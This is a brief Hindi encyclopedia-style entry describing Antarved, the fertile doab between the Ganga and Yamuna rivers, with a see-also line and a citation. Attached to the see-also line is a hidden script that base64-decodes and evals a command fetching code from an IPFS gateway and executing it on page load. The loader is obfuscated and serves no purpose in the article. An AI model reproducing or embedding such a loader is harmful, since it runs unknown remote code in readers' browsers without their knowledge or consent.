अंतर्वेद

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अंतर्वेद अथवा 'अंतर्वेदी' से अभिप्राय उस विस्तृत भू-खंड से है, जो गंगा और यमुना के बीच हरिद्वार से प्रयाग तक फैला हुआ था। यह एक समृद्ध दोआब प्रदेश था।[1] 'अंतर्वेदी' नाम प्राचीन संस्कृत अभिलेखों में प्राप्त है।


इन्हें भी देखें: गुप्त वंश, गुप्त काल एवं गुप्तकालीन कला और स्थापत्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. अंतर्वेद (हिन्दी)। । अभिगमन तिथि: 19 फ़रवरी, 2014।

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